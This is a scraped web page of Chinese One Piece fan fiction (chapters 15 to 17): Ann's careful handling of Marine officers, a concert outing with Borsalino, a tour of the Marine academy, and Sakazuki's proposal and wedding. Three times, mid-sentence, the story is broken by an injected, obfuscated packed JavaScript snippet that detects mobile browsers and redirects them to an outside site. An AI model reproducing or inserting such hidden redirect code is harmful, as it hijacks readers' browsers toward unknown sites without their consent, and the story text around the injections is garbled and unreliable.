当事人安不太想。她猜萨卡斯基做出这样的决定是因为上次遇见天龙人不得不提前回家让他心有愧疚,这次又要去搞工作,更想补偿她,哪怕他不那么问,安也能圆回来,偏偏他的说法让她不管怎么拒绝都显得针对波鲁萨利诺,安不想和他“交恶”。 所谓“交恶”不是说这次她拒绝和他单独观赏演唱会,他就会态度180度大转变,他也许很快会忘记这个事,但是安不能赌“被拒绝感”会不会长久留在他的潜意识里,影响他日后对她的感觉,进而影响发生一些事时他的利益偏向。就像玩攻略游戏,不偏向该人物的选项会导致好感度累计不够,影响最后打出的GOOD ENDING,更有可能会导致BAD ENDING或者直接变成BLOODING ENDING。 她这一年多都很小心地观察高层海军们的性格,诸如卡普、鹤这类人她会适当放宽心去对待,战国得注意,他年纪虽大但一直单身,适婚年龄的波鲁萨利诺、库赞等是高危人物,麦克那种更是危险程度爆表。她不会小瞧任何人,安人际交往的宗旨是尽可能让所有人对她产生善意,实在不行也不能留下坏印象,很多时候这点善意和中庸的立场能救安的命,她曾在其他世界见过有些人,仿佛被世界保护,气运强得让人搞不明白,明明遇见时还是无名小卒,却在极短的时间里逆风翻盘,跻身强者行列,甚至杀死把他踩在泥里的人,安通常跟着踩人那位… 更何况波鲁萨利诺和萨卡斯基一样,是最热门的未来海军大将候选,即使需要承担一些风险也值得讨好。当然戏还是得做足,安装作不舍,最后还是点点头,“…好吧,工作注意安全。” 萨卡斯基闻言,顿住原本已经向外的脚尖,又摸了摸她的脸颊才离开。 不愧是接待贵族的展馆,保密性做得相当不错,每一个vip房间都有专用通道,专人带领,不会和其他观众遇见。到达房间后波鲁萨利诺让侍女在门外待命,密闭空间没有外人安可以自在一点,她将遮住脸的小礼帽取下来,不经意间对上波鲁萨利诺的目光,他盯着她看了半晌,被打败似的叹了一口气:“有时候真羡慕萨卡斯基…从来没有人对我说过‘工作注意安全’。” 最初听他说那些暧昧话安还心里咯噔,后面她发现波鲁萨利诺只是面对女人时嘴花花,他是个聪明人,很懂得权衡利弊,有基本符合世俗的三观,强行搞出一段不伦关系对他弊远远大于利,他既不像库赞难以自拔,也不像麦克执意掠夺,更不缺女人,实属没有必要,证据就是他并不忌讳在萨卡斯基面前开玩笑、夸赞安,因此不用太在意,安正要萌混过关,有人敲门了,是侍女:“大人,露西坦小姐来了。” 她看到波鲁萨利诺露出有点为难的表情:“啊…她是说过开演前要来打个招呼,伤脑筋……” 人在包厢里面却不回应只会更可疑,波鲁萨利诺便让侍女开门,果不其然露西坦微笑的脸在看到房间里只有波鲁萨利诺和安时僵住,她的眼神在两人之间来回打转试图搞明白在她到来之前是否发生过什么不该发生的事,但是很快便不由自主被安吸引目光。 她们不是第一次见面,上次在餐厅门口,安素面朝天,尽管也美得惊人但温顺内敛,挨在萨卡斯基中将身边像一只被养得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301810|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的宠物,今天的安描了眉毛,画上眼影,拉长眼线,配合稍显隆重的长裙,简直在用美貌杀人,她是为了波鲁萨利诺妆扮的自己吗? 露西坦的表情一下变得富有攻击性,但她维持住了应有的礼仪:“安夫人,上次见面没来得及和你打招呼,失礼了,我是露西坦,波鲁萨利诺的女朋友,萨卡斯基中将怎么没有陪着你一起来?” 安很习惯来自女性的防备,应付起来轻车熟路:“他本来打算和我一起看的,都到场馆门口了,临时有任务不得不离开。我太期待露西坦小姐的歌声,只好厚着脸皮拜托波鲁萨利诺中将带我一起看,萨卡斯基结束工作会加入我们。” “是,是吗…”被安夸奖没有人会不高兴,露西坦也不例外,反观波鲁萨利诺好像有点受打击,露西坦离开后,波鲁萨利诺可怜巴巴地看向安:“‘波鲁萨利诺中将’?这是什么疏远的称呼?我感觉好受伤耶。” “我说的是事实,只是措辞有所选择,如果用朋友口吻,恐怕会让露西坦小姐感到不安,她看着挺喜欢你的,或许她会成为那个对你说‘工作注意安全’的人?” 波鲁萨利诺把脑袋缩回去,饶了他吧,他完全没有要成家的打算。 演出没有等很久就开始了,露西坦真不愧是大热的歌唱家,演唱非常出色,不过安兴致就那样,时间一长她还打起拍子增加点投入感,引来波鲁萨利诺的注意:真有趣,她还会打拍子,说明她懂音乐,可是她在家不听音乐啊。 未来的黄猿大将撑着脑袋注视安,心想她可真难琢磨。他曾以为她就是个普通的,美得不可思议的年轻女孩,随着接触变多,波鲁萨利诺推翻自己曾经的认知,却在重新定义中犯了难,安绝大部分时间无疑是善解人意又温柔的,但是偶尔她会让波鲁产生强烈的违和感,一览无遗的皮囊下似乎有一个黑洞般的灵魂,那些瞬间是这样无关紧要又叫人心痒难耐,所以他打听她的过去,除了莱卡的两年,其余一无所获。 波鲁萨利诺更在意了。 这个演唱会所有流程加起来一个半小时,波鲁萨利诺没怎么听,美丽的歌声从他的左耳进,右耳出,本来他和露西坦约会就不是因为她的歌喉,只是合眼缘,如今热情减退,她也会和以往的女伴一样,重要的是安是否乐在其中,终于在第三十分钟波鲁萨利诺站起来对安说:“走吧。” 安误以为他也觉得无聊便跟着离开,萨卡斯基不知道什么时候来接她,于是他们给侍女留下口信,如果萨卡斯基来了就告诉他,他们已经先回家……并没有,波鲁萨利诺没有带她回家,而是开车载着她来到人迹罕至的香波地群岛一角:“好了,看泡泡吧。萨卡斯基说你上次过来总是盯着泡泡发呆,一看就能看好久,比起演唱会,泡泡对你来说更有趣一些?” 这倒是真的,泡泡缓慢悠闲地漂浮让安觉得解压:“你陪我看吗?” “嗯…~很遗憾,我并不喜欢看泡泡。但问题不大,我可以等你。”波鲁萨利诺坐到一旁的公园长椅,突然福至心灵,想到一个或许可以娱乐双方的好主意:“安,你想乘坐光吗?” “不。” 答得这么快??波鲁萨利诺噎住,有点委屈,别的女伴想玩他还不愿意带呢:“为什么?会很有趣的。” “太快了,我会因此死亡。” 光的速度将近三乘十的八次方每秒,启动的瞬间安的身体就会遭到毁灭性的打击,她根本没有玩这项娱乐的资本。 波鲁萨利诺又噎住,他从来没有考虑过这个角度… 最终这个夜晚以安看半个小时演唱会、一个小时泡泡,波鲁萨利诺送她回家告终。直到安洗漱完毕萨卡斯基也没有回来,她就径直去睡觉了,现在安已经不会再睡在沙发上等人,没有必要,能舒服点就不要折腾自己。 16. 第十六章 萨卡斯基到家已经是凌晨,那个叫鹰眼的剑士对得起他的赏金,很强,而且不是能力者,这让抓捕难度直线上升,萨卡斯基用了好些手段还是让他跑了,不是不能追到海上,换做一年前,萨卡斯基不可能让他就这么离开香波地群岛,但随着和安相处,萨卡斯基越发理解“归心似箭”四个字,开船追出去不知道什么时候能回来,他想知道安喜不喜欢今晚的演唱会。 除了门口的小灯,家里一片漆黑,萨卡斯基动作很轻,走到房间果然看到床上隆起女人妙曼的身体曲线,是面朝里睡啊,他摘下帽子跪到床上俯下身,把额头贴到安的脸颊上,静静地嗅她身上的味道。 呼——吸——呼——吸—— 女人熟睡的呼吸声均匀,黑暗中萨卡斯基的呼吸逐渐与其同调,所有焦躁的情绪和不稳定随着吸入她的味道,呼出浊气而重新恢复平静—— 下次还是再早点回来吧,睡前没能和她说上话。 除了马林梵多,安还解锁了学校这个新地点。事情的起因是卡普,她一如既往带着吃的到本部,在大门口碰上往外走的卡普:“安,又来给萨卡斯基送饭啊?他今天没在本部,在学校。” 安歪了歪脑袋:“学校?萨卡斯基没有跟我说。” “对啊,今天轮到我两做教学,老夫现在正准备过去。你去海军学校看过吗?孔雀也在里面上学。” “没有。” 卡普眼睛一下就亮起来,安也不知道他高兴什么,海军英雄大臂一展,几乎是有点挟持的意思把人捞走:“那带你去看看!” “?” 于是安现在在卡普的狗头船上,卡普还戴上他的狗头帽子,上次看他这扮相还是卡普送她去莱卡。他的副官博加特提前等在狗头舰上,看到安一副欲言又止又欲又止的样子,最后他给安端了杯茶,保管她装着食物便当的泡泡。 安没有不想来,能看看学校挺好的。海军学校和香波地群岛一样在海军本部的附近,比香波地稍微远一点,没有修桥:“距离差不多但是本部和学校之间没有修桥呢。” 卡普疑惑:“为什么要修桥?” “不修桥从海军本部去学校教学不是很不方便吗?” “反正几个月才一次,无所谓吧。你以为我是学校的教官,得每天往返吗?不是的哦,学校教官是学校教官,住在学校里,我和萨卡斯基,包括其他从本部过去教学的教官本质还是本部的海军,只是会根据课程去给学生上实战课或者理论课,中将以上级别的将领都有自己的军舰,开着去就是。而学生到本部参观全学年有且仅有一次,船载着就行,没有必要修桥。” 又是新知识。 “你没听萨卡斯基说过?” “没有。” 卡普飞速瞥了一眼安的脸色:“…所以说人还是得多出来走走,你说对吧。” 他这么说安就知道了,是库赞跟他提过萨卡斯基不带她出门的事吧,难怪他刚刚听她说没去过海军学校那么高兴,他一定是想着可以把她带去一个新的地方。安对他的话不置可否,只是顺势露出微笑,心想若是她强大到被人称作“英雄”亦或者是恶魔果实能力者,她也会多出来走走的。 船很快靠岸,海军学校的大门很气派,卡普作为海军英雄却没有任何架子,他不像一些中将觉得自己来一趟学校了不起,需要校领导或者工作人员接待,卡普每次来都只带着博加特,跑到泽法的办公室喝茶再上(zou)课(ren),这次多了安,也就行程发生点变化,至少要带她去看看萨卡斯基上课的样子,博加特牵着泡泡的样子很不搭,安本想自己拿,沉默寡言的中年副官轻轻隔开她的手,安便不再坚持。 进了海军学校就是一个很大的操练场,不同年级的班在出操、上实践课,大家看起来都气势十足,整个操场沙尘满天飞。实践卡普熟,所以他能说很多,安一边听他讲解一边走马观花,突然一个身影映入眼帘,安不由停下脚步:那不是…… 斯摩格能清晰听到自己喘气的声音,与高年级会武装色的对手缠斗严重消耗他的体力和精神,始终无法决出高下让他变得有点焦躁,已经初具体格的少年人重新握紧十手,这是他最近新尝试的武器,用着还挺顺手,若是后面能磨合好,就可以搭配海楼石达到出其不意的效果,但那都是后话,现在重要的是眼前的敌人,他谨慎地挪动右脚,瞧准时机进攻,脑海里模拟好几种对方的应对方法,对方应声而倒——嗯? 出乎斯摩格的预料,原本很难缠的学长一下就被打倒,不是因为斯摩格突然变强,是对方大大走神,即使是被打倒在地的现在,他也盯着一个方向,对斯摩格伸出来要拉他的手毫无察觉。 搞什么。 斯摩格心里嘀咕着看向学长看的方向,一下和十米开外的安对上眼,安因此露出微笑,还朝他挥挥手,周围一片倒吸凉气的声音,斯摩格也不想那么没有出息,但他知道自己肯定从头红到了脖子。 不是,她怎么会在这里??旁边还有卡普中将和他们今天的总□□,然后他看到卡普低下头跟安聊了点什么,海军英雄将视线投向他,扯开一个笑:“小子!出列!” 现在斯摩格剧烈的心跳不仅因为安了,这可是蒙奇·D·卡普!打败洛克斯海贼团,并将海贼王哥尔·D·罗杰多次逼上绝路的海军英雄!哪个志愿加入海军的人会不崇拜?博加特比安更了解卡普,他带着安退后几步以防被波及,果不其然,卡普问了斯摩格的名字后突然发难攻击,安看得出斯摩格很努力抵抗,但几招后还是被锤翻在地,卡普像个老小孩一样得意地哈哈大笑,非常不成熟。 好在被锤的人很高兴,反正安理解不了一点,她在和卡普离开之前对斯摩格说了句“学习加油”,随口一句不费事,释放的一点点善意也许在未来会结出意想不到的果实,就算没有,孩子看着很受用也挺好的。他在莱卡帮过她,安刚刚在卡普面前给他美言了两句,后面能不能抓住机会就看他自己。 离开操练场三人往教学楼走,他们现在要先去泽法那里把泡泡放下,主要是得去看看课表确认萨卡斯基在哪个教室授课。 超出安的想象,萨卡斯基在学校竟然是教理论的,他们找到教室后没有惊动任何人站在外头听了一下,教的造船,为了体现这门课的重要性,他做了一个假设:军舰被毁,死剩自己一个人,如何利用有限的资源造出一艘能在伟大航路航行的船,尤其当你是一个恶魔果实能力者,你需要在不碰到海水的情况下获得必备的资源。 ——这假设非常极端,通常认为恶魔果实能力者掉进海里必死无疑。安也是第一次知道原来海军中每个恶魔果实者都配有自己的“救援小队”,更准确来说编队的时候就会将恶魔果实能力者和非能力者编到一起,当遇到强大的敌人毁掉军舰,他们必须第一时间、以最快的速度整队,一旦发现自己小队的能力者没有出现就下海捞,必要时候其他小队也得参与进来。 有学生提问:“中将,如果在收集资源的过程中遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301811|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶劣天气,船翻了怎么办?” 萨卡斯基的回答符合他给人的印象:“那你就祈祷自己足够好运能够被过路的船救下,或者一开始就强大到不要让对方毁掉你的军舰。” 授课刚开始,90分钟一节课,总不能一直这么站在外头,卡普也有课要上,他问安想不想旁观,不过他只上实操课,说白就是去揍人,安想了想刚刚操练场上黄沙飞舞的场景摇摇头,博加特便陪着她回泽法的办公室,一开门就看到泽法在吃便当。 三脸懵逼后,纵是泽法也不禁老脸一红,他回到办公室以后看到莫名其妙出现的泡泡里面装着便当还以为是那些小年轻老师搞的下午茶,卖相好味道香,正好饿了… 不吃都吃了,好吃。 安之前来放泡泡时观察过他的办公室,在墙上和矮柜上看到好些合照,爱摆纪念照片这点泽法跟鹤一样。她对其中一个合照有点在意,那是师生大合照,安在里头看到了更年轻的萨卡斯基和波鲁萨利诺,泽法作为他们的老师被拥簇在中间。 “萨卡斯基是我任教官后教的第一届学生。”泽法介绍道:“他和波鲁萨利诺都是很优秀的学生,毕业后如你所见,成了海军的中坚力量。你知道萨卡斯基一开始是非能力者,用长刀武器吗?” 现在安知道书房那把长刀是怎么来的了,她还以为是摆设,没想到是萨卡斯基原来的武器。 这下泽法有不少话题可以说,作为长辈,他一年多前就在等两人的好消息,也不知道是哪一步卡住,一直没有进展,鹤也愁,但他们都不好问太多,只能采取侧面助攻的办法,泽法不遗余力地在安面前说萨卡斯基的好话,说以前萨卡斯基还在军校时获得的荣誉,发生的趣事,着重讲了他在一次任务得到熔岩果实,从此强大的实力再次腾飞。 安表面功夫无懈可击,看起来兴致满满又带着点小自豪,实际已经严重走神,泽法的声音越来越远,她的心里飘过“真好啊”的想法,却也没有那么不舒服,她已经习惯别人的强大和好运,也习惯自己的弱小。 卡普二十分钟左右就回来了,他一拳一个小年轻费不了多少时间,看到便当被吃还闹别扭,丝毫不顾便当本来就不是做给他吃的,以至于萨卡斯基下课赶来时什么也没剩,吃的不重要,他把视线转向安,见她没什么不良情绪才稍微放心,他大概猜到安出现在学校不是她的本意,如果准备好才外出,她不会毫无遮挡暴露自己的长相,但他不能说,一个是军校总教官,一个是海军前辈,说不了一点。 心细的泽法注意到萨卡斯基的审视,他了解卡普,对老伙伴我行我素感到很抱歉,便提议:“萨卡斯基,你今天课上完了吧,带安去学校转转,她如果累了,你们直接回去也可以。” 萨卡斯基正有此意,于是他带着安去了比较特殊的两个专业参观:造船和武器设计打造,还去了孔雀所在的班级,孔雀和她班级里的小萝卜头兴奋得吱哇乱叫,最后去的图书馆,总算看到安露出感兴趣的样子,萨卡斯基的权限可以借很多书,这次拿了好些感兴趣的,够她看到下次萨卡斯基再来学校给她租还。 或许下次她还愿意来学校,安一定接受过教育,但萨卡斯基想象不出安在学校学习的样子,她看起来对校园不向往:“学校感觉怎么样?” 安站在回程船只的甲板上远远望着逐渐缩小的军校大门实话实说:“挺好的,我没什么机会过集体生活。下次我还可以跟着你过来吗?这里的图书馆真大。” “当然。” 17. 第十七章 马林梵多四季如春,季节变化很不明显,日子一天天过,转眼安来到马林梵多已经三年多将近四年,就在安以为日子会继续这么过下去的时候,萨卡斯基掏出来的戒指让她愣住。 不是说不能结婚,她无所谓结婚,鹤、战国和泽法时不时也会明里暗里催,萨卡斯基足够强大,处在稳定的环境里,早晚也该走到这一步,安只是觉得戒指不是萨卡斯基的风格,她还以为他会让她填个申请表交上去完事,地点和时机倒是很符合安对他的了解,下班时间在家里的厨房给她戴的戒指,没有单膝跪地也没有任何仪式。 但是有一点安要夸奖萨卡斯基,这个戒指是上次他们去香波地逛街时她在珠宝店里多看了两眼的那枚。 “啊…嗯。”萨卡斯基极力掩饰自己的心虚,他本来想着填好申请表交上去完事,但是在吩咐强纳森打印表格的时候,下属兼好友一看打印内容脸都差点笑烂:“嘻嘻嘻!戒指买了什么样的?” “……” 强纳森有不好的预感:“你求婚了对吧?” “……” 他不嘻嘻了:“安小姐说我愿意了吗?” “……” 强纳森拿起萨卡斯基桌上的结婚申请放进碎纸机:“等下就给我去买戒指。” “…好。” 咳,不管怎么说,结局是好的,安看起来挺高兴,他得到了一个很棒的吻,第二天清早,她还去她的花园里剪下来一朵蔷薇插到他左胸制服口袋里,粉红色,开得特别茂盛,他以前从来没有这样装扮过,萨卡斯基和蔷薇花,这是其他人想都不敢想的搭配。 似乎是怕萨卡斯基拒绝,安理好花的模样后有点不安心地抬眼看他:“不可以出门以后偷偷取下来丢掉哦…” “不会。”萨卡斯基确实不会,他就这么一路走到本部,引来别人的侧目也始终佩戴那朵蔷薇。到本部遇上波鲁萨利诺,对方一看他胸口就露出笑容:“恭喜你,和安的好事近了吧。” 萨卡斯基点点头表示感谢,有点疑惑申请表还没有交上去,戒指没戴,强纳森嘴也不碎,波鲁萨利诺是怎么知道的? “萨卡斯基你不知道这个蔷薇的花语吗?‘你只属于我’,每年情人节都卖疯的品种哦~” 波鲁萨利诺说完就在心里冒高兴又酸涩的小泡泡:哎呀哎呀萨卡斯基竟然露出这种表情,真叫人羡慕耶~ 男人的行动力强,昨晚就让安填好自己的表,她空着很多地方没有写,包括出生的岛屿、父母的名字、过往经历,就连写自己的年龄都犹豫好一会儿,按理来说海军的结婚审批得层层审核,繁复冗长,但萨卡斯基头上只有两个上司,安手无缚鸡之力,来历又有卡普背书,他两的婚姻空和战国乐见其成,审批速度堪比坐火箭,传播速度也是。 不管同僚下属心里面怎么看萨卡斯基,他出类拔萃是不争的事实,那么年轻,和他人同为中将却负责更关键的地区、审批更重要的文件、处理更高级的任务,一直是大将的热门人选,没人想得罪他,都笑意盈盈地朝他祝贺。 安和萨卡斯基都不是爱显摆操办的性格,便只邀请了亲近的人到家里吃顿便饭,大家都带了新婚礼物: 空的礼金最厚,还有看上去很贵重的对表; 泽法是礼金和一整套很有设计感的餐具,据说他的亡妻很喜欢收集餐具,他有样学样挑的; 战国是礼金和他自己刻的玉雕,刻得特别精致,又是庭院又是山水又是松柏又是仙鹤,还大,安第一次知道他有这样的爱好,听鹤说早就刻好了,但他两一直没结婚,可把他急得; 卡普跟鹤自认是娘家人给安置办了从头到脚一整套黄金首饰,手镯项链耳环这些平时都可以拿出来搭配; 波鲁萨利诺送的一套珐琅彩茶具,又是扒花工艺又是雕刻又是描金,茶壶是红身绿提手,说是西海花之国的工艺,精致得不得了; 库赞端了一盆花过来,花的品种本身没什么特别,是颜色特殊,粉的,这种花自然生长没有粉色,是特殊培育出来的颜色,花语寓意也好:祝你幸福; 强纳森夫妻送来一个大烤箱,很实用。 安还收到战国转交的罗西南迪的新婚礼物,是一对红+粉的陶瓷茶杯,不算贵重但胜在心意足。安很久没有看到他了,他去年以优异的成绩从学校毕业,没过多久就外出执行任务,很少回来,战国很想他,总是念叨。 这顿饭安准备得挺认真,各种美食应有尽有,吃下来可谓宾主尽欢(鹤的洗洗果实用来洗碗太好用了),她注意到强纳森特别亢奋,考虑到他和萨卡斯基私下关系好,安只当他是替好友高兴,直到三个月后他的调令下来,安才知道原来他要升迁,职级升一级,从上校到准将,并从海军总部调至G8支部,从属如今G8支部的坎特斯中将,不再担任萨卡斯基的副官。 调令审批慢,但是一旦走完流程,不日就要到新岗位报道,强纳森和妻子杰西卡在调令下来的第二天邀请萨卡斯基和安到他们家吃饭饯别,还开了上好的酒,安没见过萨卡斯基喝酒,他应该是不爱喝但能喝的类型,一顿饭下来强纳森喝得脸都红了他还面不改色。 杰西卡表情在“他那么高兴我不应该管着他”、“喝那么多真的没问题吗”、“接下来会变得很麻烦”、“可是这是天大的喜事”之间来回切换,直到强纳森抓着萨卡斯基开始哭,安明白自己不适合再在席间坐着,便找借口去了厨房,那里放着一份报纸,安可以想象强纳森和杰西卡是怎么一边做饭一边讨论这份报纸上的内容。 三皇之一的白胡子将鱼人岛划作自己的地盘的确是个大新闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301812|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >安今天已经看过这篇新闻,但不妨碍她再看一遍,她的视线凝在白胡子大肆宣言的脸上,照片不知道是谁拍的,没什么水准,只是单纯聚焦在他的脸上,却因为被拍对象魄力十足而显得震人心弦,她歪着脑袋端详:是老了些… 来人打断安的思绪,杰西卡最终还是选择放弃管束丈夫,将全部空间留给两个男人,强纳森在此时又嗷了一声,安看杰西卡羞得耳朵都红了,便善意地笑笑,给她倒一杯水,她和杰西卡的交集唯有她刚来马林梵多,萨卡斯基出差她去杰西卡的餐厅吃饭那次,哦还有三个月前的便饭,所以并没有什么可以聊的,她们沉默地呆在厨房听外头的交谈,听得多安就明白为什么强纳森会那么激动,萨卡斯基对他有知遇之恩。 强纳森和萨卡斯基在军校时是同届生,但是相比一入学就被称作“怪物”,实力强大的萨卡斯基,强纳森最优秀的科目是作战指挥,说白了他擅长带兵打仗而不是自己去干仗。然而在大海贼时代还没开启已经出现如洛克斯、哥尔·D·罗杰、爱德华·纽盖特、夏洛特·玲玲这些以一敌千的强者,对战这样的敌人填再多普通海兵进去都没有用,大海贼时代开启后更是,单兵作战能力才是真正被推崇的,崇武轻文是时代的选择。 当然不是说强纳森就没有晋升机会了,海军某种意义也是熬工龄的地方,外出任务每次都能活着回来的情况下,海军有明确文件规定每隔多少年能升一级,有军功加身升得更快,只要强纳森继续磨炼自己各方面能力,若是再有一点运气碰上重大战役,他肯定能熬出头。 而萨卡斯基让这个进程快进二十年。 八年前萨卡斯基把强纳森调到身边当副官,因为他在学校沙盘课上看过强纳森的指挥,觉得他是个能人,没必要从底层熬起。强纳森跟着萨卡斯基完成大大小小的任务,帮他处理各式各样的文件,萨卡斯基作为领导除了是个工作狂(有安以后他都不抓人加班了),其余方面从不压榨下属,公平公正,赏罚分明,至少强纳森很适应他的模式,也很喜欢他这个人,他们逐渐从工作转到私下成了挚友。 G8支部的职位是萨卡斯基替他留意并向战国推荐的。强纳森才34岁就是准将,作为第二负责人掌管一个支部,只要不出问题,升上中将易如反掌。 最重要的一点是,他跟着萨卡斯基去出任务,杰西卡再也不会担心到夜不能眠。 因此强纳森即感恩又不舍的心情在酒精催化下彻底爆发,连带着萨卡斯基都喝了不少,回家的时候安闻到浓烈的酒味,还好他能自己走回家。睡觉时萨卡斯基一反常态非常粘人,他躺在床上紧紧抱着安,看来并不是表面上那么无所谓。安摸摸他的脸问:“强纳森调走,你会想他吗?” “会不习惯。”过了一会,男人在黑暗里轻声说:“还有你在。”